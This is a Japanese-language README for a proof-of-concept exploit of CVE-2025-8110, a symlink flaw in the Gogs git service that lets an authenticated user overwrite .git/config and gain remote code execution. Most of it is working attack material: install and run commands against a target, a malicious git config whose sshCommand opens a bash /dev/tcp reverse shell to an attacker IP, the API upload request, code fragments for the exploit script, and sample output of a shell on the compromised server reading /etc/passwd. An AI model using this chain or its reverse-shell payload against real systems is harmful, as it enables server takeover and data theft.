
CVE-2025-8110のPoCエクスプロイト
CVE-2025-8110 は Gogs における深刻な脆弱性であり、認証済み攻撃者がリポジトリのシンボリックリンク操作を通じてリモートコード実行を達成することを可能にします。この概念実証は、認証からリバースシェル取得までの完全な攻撃連鎖を示しています。
この脆弱性は、Gogs が API を介してリポジトリファイルを処理する際にシンボリックリンクを辿ることに起因し、攻撃者が .git/config などの機密ファイルを読み取り・変更できるようにします。悪意のある sshCommand ディレクティブを注入することで、Gogs サービスアカウントの権限で任意のシステムコマンドを実行することが可能になります。
CVSS スコア: 7.2 (High)
攻撃ベクトル: ネットワーク
認証の必要性: あり
ユーザー操作: 不要
影響: システム全体の完全な侵害
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # メインエクスプロイトスクリプト
├── requirements.txt # Python 依存関係
└── README.md # ドキュメント
| オプション | 説明 | 必須 |
|---|---|---|
-u, --url | Gogs のベース URL(例: https://gogs.example.com) | はい |
-lh, --host | リバースシェル用の攻撃者 IP アドレス | はい |
-lp, --port | リバースシェル用の攻撃者ポート | はい |
-U, --username | Gogs のユーザー名 | はい |
-P, --password | Gogs のパスワード | はい |
-x, --proxy | プロキシを有効化(localhost:8080) | いいえ |
-v, --verbose | 冗長出力を有効化 | いいえ |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 攻撃連鎖 │
└─────────────────────────────────────────────────────────────────────────────┘
ステップ 1: 認証
├── /user/login にアクセス
├── ログインページから CSRF トークンを抽出
├── CSRF トークンと共に認証情報を送信
└── 認証済みセッションを確立
ステップ 2: アプリケーショントークンの生成
├── /user/settings/applications にアクセス
├── 設定ページから CSRF トークンを抽出
├── 新しいアプリケーショントークンを生成
└── レスポンスからトークンを抽出
ステップ 3: 悪意のあるリポジトリの作成
├── API 経由で auto_init を指定してリポジトリを作成
├── ランダムなリポジトリ名を生成
└── リポジトリ URL を取得
ステップ 4: シンボリックリンクのアップロード
├── リポジトリをローカルにクローン
├── .git/config を指すシンボリックリンクを作成
├── 追加、コミット、プッシュ
└── アップロードの成功を確認
ステップ 5: RCE の実行
├── sshCommand を含む悪意のある .git/config を作成
├── 設定内容を Base64 エンコード
├── API 経由でシンボリックリンク先にアップロード
└── コマンド実行をトリガー
ステップ 6: リバースシェル
├── 攻撃者ホストへの接続確立
├── インタラクティブシェルアクセス
└── 対象上でのコマンド実行
Gogs は API を介してリポジトリファイルを処理する際に、シンボリックリンクのトラバーサルを適切にサニタイズしていません。API エンドポイントからファイルにアクセスすると、Gogs は検証なしにシンボリックリンクを追跡し、リポジトリディレクトリ外の機密ファイルにアクセスできるようになります。
シンボリックリンクの作成
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
悪意のある設定
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
API 悪用
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# 攻撃者マシン (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# エクスプロイト実行
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
お使いの Gogs のバージョンを確認するには:
# Gogs Web インターフェースにアクセスし、フッターを確認
# または API を使用
curl https://gogs.example.com/api/v1/version